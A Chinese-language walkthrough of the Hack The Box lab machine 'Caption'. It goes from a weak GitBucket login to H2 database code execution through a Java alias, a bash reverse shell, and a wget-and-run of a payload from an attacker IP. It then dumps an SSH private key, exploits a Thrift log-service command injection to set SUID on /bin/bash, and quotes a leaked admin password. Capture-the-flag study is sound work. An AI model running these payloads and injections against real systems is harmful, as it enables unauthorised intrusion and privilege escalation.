信息搜集 1 2 3 4 5 6 10.10.11.33 :22 open 10.10.11.33 :80 open 10.10.11.33 :8080 open [*] alive ports len is: 3start vulscan [*] WebTitle http://10.10.11.33 code:301 len:0 title:None 跳转url: http://caption.htb [*] WebTitle http://10.10.11.33:8080 code:200 len:7191 title:GitBucket
8080 GitBucket exploits/GitBucket/gitbucket-unauthenticated-rce.md at master · kacperszurek/exploits
发现有目录:http://caption.htb:8080/
、http://caption.htb:8080/root
后者直接跳转到 root 用户,但是仍然需要验证。
http://caption.htb:8080/root.atom
文件泄露:
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8" ?> <feed xmlns ="http://www.w3.org/2005/Atom" xmlns:media ="http://search.yahoo.com/mrss/" xml:lang ="en-US" > <id > tag:caption.htb,2013:gitbucket</id > <title > GitBucket's activities</title > <link type ="application/atom+xml" rel ="self" href ="http://caption.htb:8080/activities.atom" /> <author > <name > GitBucket</name > <uri > http://caption.htb:8080</uri > </author > <updated > 2024-09-16T05:23:03Z</updated > </feed >
测试了一下发现是弱口令:root:root
下面有两个仓库:/root/Logservice
、root/Caption-Portal
然后在右上角用户管理处中能发现管理面板:/admin/users
发现有数据库管理位置:/admin/dbviewer
,报错发现数据库是 h2:
H2 数据库 RCE Chaining Vulnerabilities in H2 Database for RCE | by Nairuz Abulhul | R3d Buck3T | Medium
1 SELECT FILE_READ('/etc/passwd' , NULL );
能读,但是不完全能读,
之前在羊城杯里面遇到过 h2 数据库的 RCE。
2024 羊城杯 初赛 部分题目WP
可以通过编写 Java 代码实现自定义数据库函数。
1 2 3 4 CREATE ALIAS NATRO92 AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec (cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
然后就可以 RCE:
发现有 margo 用户,反弹出 shell。直接弹 shell 似乎是不行的,只能这样传 shell 文件再反弹。
1 2 3 4 5 6 7 # 写入文件 shell.sh 并挂载 bash - i > & / dev/ tcp/ 10.10 .14 .22 / 7777 0 > & 1 python3 - m http.server 80 CALL NATRO92('wget -O /tmp/natro92.sh http://10.10.14.22/shell.sh' )CALL NATRO92('chmod +x /tmp/natro92.sh' );CALL NATRO92('bash /tmp/natro92.sh' );
虽然我觉得这个也不是预期结果,因为这个对于一个 Hard 靶机来说似乎有点过于简单了 O.o。
thrift PE 权限稳定下。把 ssh 文件下下来
1 2 3 4 5 6 7 8 9 CALL NATRO92('cat .ssh/id_ecdsa' );b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQ1SM7z6j9c2tRnzil0l0IYWiMdCW1EbbmLEh1VtEw9 xlimkCfS2HkRXlK+ L+ P+ kIaSjU/ dtffZ7lYsUqVU0+ WTAAAAoPk+ TRj5Pk0YAAAAE2VjZHNhLXNo YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDVIzvPqP1za1GfOKXSXQhhaIx0JbURtuYsSHVW0 TD3GWKaQJ9LYeRFeUr4v4/ 6 QhpKNT92199nuVixSpVTT5ZMAAAAhAOoMh9nwyHpHj/ g4H0w967UF vJX7WQ4wIONFojx14tPgAAAAAAECAwQFBgc=
注意这里 cat 出来的很有可能报错,需要格式化下。
natro92/format_ssh_key_file: format ssh key file. (github.com)
1 Load key "id_rsa" : error in libcrypto
格式化之后记得赋值权限。
1 2 chmod 600 id_ecdsa ssh - i id_ecdsa margo@10 .10 .11 .33
但是到后面传了 linpeas 也没啥想法。
我们重新返回 git 仓库到 LogService 的仓库,发现是 go 语言编写的。并且调用了 thrift 这个库,说明有 thrift 服务。根据服务可以发现运行在了 9090 端口。
Apache Thrift - Python
将 logservice 库 clone 到 margo 的 home 下。然后在目录下运行:
然后将文件下载到本地,这里本来想多熟悉熟悉 msf 上个马,但是这里一直报错:
懂得师傅可以在评论说下为什么。,那就用 scp 下载到本地。
1 scp -i id_ecdsa margo@10.10.11.33:/home/margo/Logservice/log_service.thrift ./log_service.thrift
然后用 apt 安装 thrift 库,再把 9090 端口代理出来:
1 ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@10.10.11.33
再去靶机处创建一个 log 文件:
1 2 3 4 5 vim /tmp/evil.log # 写入恶意利用日志 127.0.0.1 "user-agent":"'; /bin/bash /tmp/evil-natro92.sh #" # 再写入 evil-natro92.sh 为了赋予 /bin/bash所有者root权限 chmod +s /bin/bash
再回到本地,运行:
1 2 3 thrift -r --gen py log_service.thrift cd gen-py vim client.py
将下面的内容保存到 client.py 中,然后再运行 client.py 文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService def main(): transport = TSocket.TSocket('127.0.0.1', 9090) transport = TTransport.TBufferedTransport(transport) protocol = TBinaryProtocol.TBinaryProtocol(transport) client = LogService.Client(protocol) transport.open() try: response = client.ReadLogFile("/tmp/evil.log") except Exception as e: print(f"Error: {e}") finally: transport.close() if __name__ == "__main__": main()
返回到靶机的 ssh 链接,然后运行/bin/bash -p
Beyond Root User 这部分似乎是非预期,我们可以看到除了 margo 这个用户之外还有一个 ruth 用户。在 home 下有一个 bot.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import sys import requests import subprocess from time import sleep from bs4 import BeautifulSoup from seleniumwire import webdriver def cache_automation(ip): option = webdriver.ChromeOptions() option.add_argument('--no-sandbox') option.add_argument('--headless') option.add_argument("--remote-debugging-port=34572") driver = webdriver.Chrome(options=option) print('[*] Starting Browsing as Admin') r = requests.post( 'http://caption.htb/', data={ 'username':'admin', 'password':'cFgjE@0%l0' }, allow_redirects=False ) cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1] driver.get('http://caption.htb') driver.add_cookie({"name": "session", "value": "%s"%(cookie)}) r = requests.get(f'http://caption.htb/firewalls?ip={ip}',cookies={'session':cookie}) soup = BeautifulSoup(r.text,"html.parser") try: link=soup.find_all('script')[1]['src'].split('?')[1] if 'internal-proxy.local' in link: print(f"[!] Request not poisoned yet - {link}") driver.close() driver.quit() else: print(f'[+] Request is cached - {link}') driver.get(f'http://caption.htb/firewalls?ip={ip}') print('[*] Browsed to the firewall page') driver.close() driver.quit() except: pass cache_automation(sys.argv[1])
很显然这个是一个 xss Bot。不断用带着 Admin 的 cookie 的 bot 访问/firewalls
这个路由。
然后目录下另一个varnish_logs.sh
运行 bot:
1 2 3 4 5 6 7 8 9 10 11 # !/bin/bash read_output() { while read -r line; do if [[ -n "$line" ]];then python3 /home/ruth/bot.py "$line" fi done } varnishncsa -c -F "%{VCL_Log:client_ip}x" | read_output
而这个 carnishncsa 是一个记录 Varnish 的访问日志。
如果我们这里自定义一个请求种类NATROISBEST
发送出去,如果你运行 varnishncsa 的监控是可以接收到的。
1 2 3 4 # remote varnishncsa -c -F "%{%Y-%m-%d %H:%M:%S}t %h %m %U %H %s %b %{VCL_Log:client_ip}x %D" # kali curl caption.htb -X NATROISBEST
但是这个 app 里面的 py 文件需要先读取到才能知道,这个需要有 margo 权限,而且在仓库里面并未提供。
1 2 3 4 5 @app.route('/firewalls' ) @login_required def firewall (): try : return render_template('firewall.html' ,host=request.headers['X-Forwarded-Host' ]) except : return render_template('firewall.html' ,host='internal-proxy.local' )
由于我对 XSS 就是个彩笔,这里引用下别人的 payload:
1 ./templates/firewall.html:12 :<script src="http://caption.htb/static/js/lib.js?utm_source=http://{{host|safe}}" ></script>
但是那个/download
路由下载有限制。这部分说实话感觉没有逻辑没法合理拼接,等等后面的 wp 在看看吧。
盘外招 GitHub - natro92/HacktheBoxPrivExp: A personal exp base to HacktheBox
caption.htb
admin:cFgjE@0%l0
user 的 id 一直在变。